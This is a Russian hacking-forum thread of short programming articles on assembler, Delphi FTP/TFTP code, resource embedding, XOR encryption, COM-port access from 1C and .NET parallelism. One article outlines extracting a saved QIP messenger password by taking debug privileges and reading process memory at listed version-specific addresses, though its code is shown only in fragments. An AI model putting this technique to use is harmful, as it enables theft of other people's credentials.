![]() |
мини СТАТЬИ
--=Здесь размещаем статьи по данной тематике=-- *** Правила топика: 1)Обсуждения не здесь, не будем засорять тему... 2)Запрещено размещать чужие статьи,пишем свои...(В том числе изменять чужие, и размещать измененные) 3)Все исходные коды обязательно должны помещаться в теги [code.]... 4)Копировать сюда свои работы, уже опубликованные в разделе СТАТЬИ - запрещено... 5)Пишем все на русском языке(в том числе //комментарии) 6)Вся статья должна вмещаться в один пост... 7)Не забывайте, что главная тема:Безопасность WEB - интерфейсов(Информационна безопасность), статьи должны быть по этим темам... 8)Правила будут пополняться со временем... И помните красивое оформление у нас только приветствуется Статьи не соответствующие правилам будут удаляться... Хорошие статьи будут поощряться(Каждому +) (c) De-visible ============================ Все возникшие вопросы в ЛИЧКУ! |
Карта статей:
1. Assembler. Создание программы путем объединения объектных модулей и библиотек Автор:Dober'man 2. FTP - сервер. "Мини статья" о том как создать простейший FTP-сервер (для новичков) Автор:Dober'man 3. RST киллер или все через "призму" WinPCap Автор:Delimiter 4. Получение *.RES файла. Добавление в него *.EXE, *.DLL файлов, с последующим извлечением на DELPHI 7. Автор:Dr.KoD 5. Assembler. Простейший алгоритм шифрования строк (для новичков) Автор:Dober'man 6. DELPHI. Пишем FTP клиент на Delphi с помощью WinSock API. Автор:Dr.KoD 7. Assembler Выдирание пароля из QIP Автор:slesh |
Assembler Создание программы путем объединения объектных модулей и библиотек by Doberman с краткими пояснениями... Код:
; модуль prog.asm (главный, именно он содержит метку START,Код:
ML /m /coff prog.asmКод:
ML /m /coff prog1.asmКод:
ML /m /coff prog2.asmКод:
ML /m /coff prog3.asmКод:
LINK -LIB prog3.obj /out:masm.libКод:
LINK /subsystem:console prog.obj prog1.obj prog2.objМодули prog1.asm и prog2.asm должны быть преобразованы к объектному виду, а потом скомпонованы в prog.obj. Модуль prog3.obj после преобразования его к объектному виду помещается в объектную библиотеку, которая затем используется при компоновке, благодаря директиве INCLUDEDIR в тексте prog.asm. |
FTP-сервер "Мини статья" о том как создать простейший FTP-сервер (для новичков) by Doberman Наш FTP-сервер будет работать по TFTP протоколу(TrivialFTP). Первым делом разместим на форме компонент TIdTrivialFTPServer (со вкладки Indy Servers) хранящий в себе всю базовую функциональность FTP-сервера. Порт используемый протоколом TFTP по умолчанию, - 69. Свойство BufferSize определяет значение буфера. Перевод FTP-сервера в активное состояние осуществляется в момент создания формы: Код:
procedure TForm1.FormCreate(Sender: TObject);Код:
procedure TForm1.IdTrivialFTPServer1ReadFile(Sender: TObject;Загрузка файла с сервера и передача его серверу происходит в результате нажатия кнопок btnDownload и btnUpload. Весь процесс приема и передачи файлов выполняется автоматически с помощью двух методов Get и Put компонента TIdTrivialFTP: Код:
procedure Get(const ASourceFile: string; ADest: TStream);ADest - название локального файла. AAppend - принимает true, если происходит запись в конец уже существующего файла. Может кто-то и скажет, что таких в сети немерено (баян)....но я старался пояснить код когда писал его =) |
ПОЛУЧЕНИЕ *.RES ФАЙЛА, ДОБАВЛЕНИЕ В НЕГО *.EXE, *.DLL ФАЙЛОВ, С ПОСЛЕДУЮЩИМ ИЗВЕЛЕЧЕНИЕМ НА DELPHI 7.
Не судите строго это моя 1 статья и расчитана она на начинающих кодеров. Ну чтож начнем. Для начала создайте папку и разместите в ней следующие файлы: 1. brcc32.exe (берем этот файл в этой папке D:\Program Files\Borland\Delphi7\Bin); 2. Создаем файл primer.rc, в котором мы укажем какие файлы мы будем добавлять в файл res; 3. Создаем compile.bat им мы будим собирать наш res файл; 4. Ну и естественно тот файл, который мы будем помещать в ресурсы,( у меня ResFile.exe). Все с великим копи пастом мы закончили, теперь поработаем чуток клавой. Для начала откроем файл primer.rc блокнотом и запишем в нем следующую строку: "ResFile EXEFILE ResFile.exe"( без кавычек естесно). Теперь объясню что тут к чему: 1. ResFile - это имя нашего ресурса в res файле, к которому мы будем обращаться и в котором хранится наш файл; 2. EXEFILE - тип файла(папка в файле *.res), он ни на что не влияет и служит для удобства поиска данных в фале ресурсов, чаще всего его имя соответствует типу находящихся в нем данных, но может быть и любым другим; 3. ResFile.exe - это файл, который мы добавляем в файл ресурсов. Закрываем и сохраняем файл primer.rc. Теперь откроем compile.bat(тож блокнотом) и пишем тауую строчку: "brcc32 primer.rc" Этой командой мы получим файл primer.res после запуска compile.bat. Сохраняем и закрываем compile.bat, запустите, в папке вы должны увидеть primer.res. Теперь переходим к кодингу, запускаем Delphi создаем новый проект и пишем следующий код: Код:
implementationКод:
procedure TForm1.BitBtn1Click(Sender: TObject);Если вы захотите разместить несколько файлов в одном файле ресурсов, то для доступа к ним потребуется использовать разные TResourceStream, но это если вы захотите получить доступ к нескольким файлам ресурса в рамках одной процедуры или функции. |
Assembler Простейший алгоритм шифрования строк (для новичков) Тут же добавлю: усложняется знаниями асма (небольшими) и математики... by Doberman Немного теории... Многие кодеры знают об уникальном свойстве реверсивности команды XOR: если её выполнить дважды с одним и тем же операндом, то значение результата инвертируется. А это значит, что мы можем воспользоваться свойством реверсивности операции исключающего ИЛИ для выполнения простого шифрования данных. В процессе шифрования исходная строка, введенная пользователем с клавиатуры, преобразовывается в непонятный набор байтов с помощью другой строки, называемой ключом. Зашифрованный текст можно сохранять или передавать адресату, не опасаясь, что кто-то сможет её прочитать. Получив зашифрованный текст, авторизованный пользователь после дешифрования сможет прочесть первоначальный текст. Ну с этим пока все просто... =) Начнем... Я приведу пример программы использующей метод симметричного шифрования, т.е. для шифрования и расшифровки используется один и тот же ключ. Опишу АЛГОРИТМ ПРОГРАММЫ: * С клавиатуры вводится исходное сообщение. * Программа в цикле выполняет шифрование каждого байта исходной строки. ___ с помощью одного и того же ключа, размером в один символ. ___ В результате получается зашифрованное. сообщение. * Программа выполняет расшифровку сообщения и отображает расшифрованное. Ну и собственно сама программа... ************************************************** ********************************************* Код:
TITLE Программа шифрования (Encrypt.asm)и максимальный размер буфера Код:
INCLUDE Irvine32.incКод:
.data- зашифровываем - отображаем - расшифровываем - отображаем Код:
.codeКод:
InputTheString PROC- сохраняем строку и ее длину в соответствующих переменных Код:
pushadКод:
DisplayMessage PROCКод:
pushadКод:
TranslateBuffer PROCс обним и тем же целым числом, т.е. ключом Код:
pushad |
Пишем FTP клиент на Delphi с помощью WinSock API. Часть 1 Наконец то у меня дошли руки чтобы написать эту статью, вернее одну из ее частей( будет 2 или 3 части). Думаю данная тема будет интересна многим людям, т.к. информации о написании фтп клиента с использованием WinSock API практически нет(ну а если есть у кого какие ссылки по этому вопросу скиньте в личку), и когда начинающие кодеры задают вопрос на эту тему их практически всегда посылают читать протокол фтп(RFC 959) ну или советуют пользоваться WinInet или индейцами. Свою статью я не на целиваю на новичков в программировании, вы должны знать хотябы основы WinSock API и иметь навыки программирования в Delphi. Для начала я вам советую почитать о FTP протоколе, вот несколько сайтов где вы можете получить некоторую информацию: http://book.itep.ru/4/45/ftp_454.htm http://athena.vvsu.ru/docs/tcpip/rfc/rfc959.txt http://sources.ru/protocols/ftp_learning.shtml http://www.soslan.ru/tcp/tcp27.html В 1 Части мы реализуем следующие функции нашего фтп клиента: 1. Создадим соединение с фтп сервером; 2. Напишем процедуру отправки команд FTP серверу; 3. Научимся получать ответы от него. Ну чтож приступим: Создайте новый роект, для удобства мы будем использовать VCL(он нам нужен будет для интерфейса), чтобы мы могли непосредственно заниматься написанием кода фтп клиента, а не заниматься еще и кодингом формы и остальной байды. В последствии вы сможете без труда перенести все функции в любое свое приложение. Для начала после uses зададим константу: Код:
constКод:
varКод:
if WSAStartup(MAKEWORD(1,1), WSADt)<>0 then //инициализируем WinSockКод:
procedure TForm1.SendCommandFtpSrv(s: TSocket; command:string); // s- сокет для отправки данных, command - команды фтп Код:
procedure TForm1.ConnectFTP(ftpsrv, port, usern, //ftpsrv - адрес сервера, port -порт,usern- логин,Код:
procedure TForm1.RecvS(sock: TSocket);Код:
procedure TForm1.MSGSocket(var Mess: TMessage);в 1 кнопке пишем: Код:
ConnectFTP('ххх.ххх.ххх.ххх','21','login','pass');Код:
SendCommandFtpSrv( ClSocket, 'QUIT'); //Эта команда говорит о завершении соединения клиента с серверомперечислите названия всех используемых процедур(думаю все знают как это делать, ну а не знаете это уже ваши проблемы), которые мы написали, но даже после этого вы скажете, что код нефига не пашет, поэтому отвечу сразу на этот вопрос процедура MSGSocket после слова private будет иметь следующий вид: Код:
procedure MSGSocket(var Mess: TMessage); message WM_MYSOCKMESS;P.S. О чем я напишу во 2 и 3 частях: Ну тут будет пожалуй самое интересное, такое как загрузка файлов на фтп сервер, скачивание файлов, переход по папкам, удаление файлов, кароче постепенно я постараюсь выложить достаточно приличный фтп клиент. ------------------------- De-V: СТАТЬЯ В КОНКУРСЕ |
Выдирание пароля из Qip
Выдирание пароля из QIP Методы:1. Напрямую копирование из памяти 2. Чтение из поля ввода пароля Алгоритм работы: 1. Нам необходимо получить привелегии отладчика чтобы 100% иметь доступ на чтение памяти другова процесса. Это реализуем следующим образом: Код:
proc SetDBGКод:
proc QIP_MEMКод:
proc GetPas,PIDVER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h, 08000000h,08000100h,08000200h ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch, 006972ECh,0069F580h,0069F57Ch Для определения версии файла используем функцию: Код:
proc GetFileVer,PIDКод:
proc ReadData PID,ADRКод:
proc QIP_WNDКод:
proc QIP_WND_GETPASS,hManFormКод:
invoke lstrlen,[buffer] ; получим длинну наших данныхКод:
proc AddToBuf,add_bufКод:
table db '0123456789ABCDEF' ; для конвертирования в HEXКод:
<?http://forum.antichat.ru/thread71678.html ------------------------- De-V: СТАТЬЯ В КОНКУРСЕ |
Читаем COM-порт в 1C с помощью Delphi .Net Привет всем обитателям сего сайта =) давнеько я уже ничего не писал, вот наконец выдалось свободное время.В настоящее время широкое изобилее языков программирования и сред разработки просто пугает, и прогер решает чем пользоваться чтоб выполнить ту или иную задачу. но бывает что возникают ситуёвины когда функциональности языка нехватает для решения задачи, ну не начинать же всё заново в другой среде О_о? была у мня как то роботёнка: нужно было написать сервис который бы читал память внешнего устройства (подключеного черз COM), и писал данные в БД Access (всё прошло на ура). Через пол года заказчик обратился ко мне с просьбой переделать сервис так чтобы писал он полученные данные не в Access а в таблицы 1С. Тут то я и грузанулся как в 1С читать Com порт О_о (сервис я писал на Delphi)? Первое что пришло в голову сделать DLL в которой бы были функции для работы с девайсом, но потом появилась идея лучше На помощь пришла технологи .NET, а именно Web-сервисы созданные на платформа Net. всё ремя пользовался Delphi 7, но тут никуда не денишся пришлось иди в ногу со временем, вощем установил я себе Borland Developer Studio 2006 (BDS) и в перёд. Код до его модернизации выглядел приблизительно так: Код:
Код:
и вуаля... что мы видим, а видим мы тот самый метод... и даже можеи его вызывать, мало того, так ещё и ответ в XML-ке получаем. вот так вот мы и примирили RS-232 и HTTP. но как вы помните задача первонапчальная стояла совсем другая... вот код 1С для обращения к веб сервису Код:
в итоге мы получаем следующую картину: 1С общаеться с внешним устройством (подключеным к ком порту) через веб сервис, это даёт возможность работать с данным устройством всем рабочим станциям в сети (но при этом в коде после обращения к девайсу нужно закрывать ком порт) |
Параллельные вычисления в Microsoft Visual C# (NET Framework 3.5) На сегодняшний день развитие индустрии компьютеростроения идет широкими шагами. Растут объемы оперативной памяти, частоты работы процессоров, количество процессоров и их ядер. Не секрет, что даже самый маленький процессор сегодняшнего дня производительностью превосходит процессоры для серверных платформ дня вчерашнего. Но зачастую гигагерцы процессоров и гигабайты оперативной памяти сводятся на нет невозможностью современного софта использовать аппаратные ресурсы на 100%. Это понимают и производители программного обеспечения и производители «Железа», стремясь разработать технологию позволяющую «нагрузить» компьютер по «полной». Сегодня мы рассмотрим одно из таких решений. 1) Библиотека Parallel Extensions to .NET Framework 3.5 от фирмы Microsoft corp. (Подробнее о ней можно почитать в MSDN выпуск - October 2007). Итак, для экспериментов нам понадобятся: (Ссылки на программы даны в конце статьи) 1) Microsoft Windows XP или Vista… 2) Microsoft .NET Framework 3.5 (Входит в комплект поставки Visual Studio 2008/2008 Express Edition) 3) Visual Studio 2008 Express Edition. 4) Библиотека Parallel Extensions to .NET Framework 3.5. Parallel Extensions to .NET Framework 3.5 Скачиваем и устанавливаем библиотеку Parallel Extensions to .NET Framework 3.5. Запускаем Visual Studio и создаем консольный проект на C# for .NET. Щелкаем на вкладке References нашего проекта и выбираем Add Reference. Далее во вкладке Browse находим библиотеку System.Threading.dll (По-умолчанию -> c:\Program Files\Microsoft Parallel Extensions Dec07 CTP\). В редакторе кода дописываем: Код:
using System.Threading;Код:
if (System.Environment.ProcessorCount < 2)Код:
Console.WriteLine("If you want test Single-Core platform press 1");Код:
switch(r)А теперь распараллелим вычисления: Код:
case "2":Вот мы с вами и научились писать распределенные приложения, балансируя нагрузку на CPU компьютера с помощью Parallel Extensions to .NET Framework 3.5. В следующей статье мы рассмотрим, написание многопоточных приложений без использования .NET Framework с помощью библиотеки Intel® TBB (Threading Building Blocks) – кроссплатформенная библиотека для параллельных вычислений от фирмы Intel. Parallel Extensions to .NET Framework 3.5 |
| Время: 22:04 |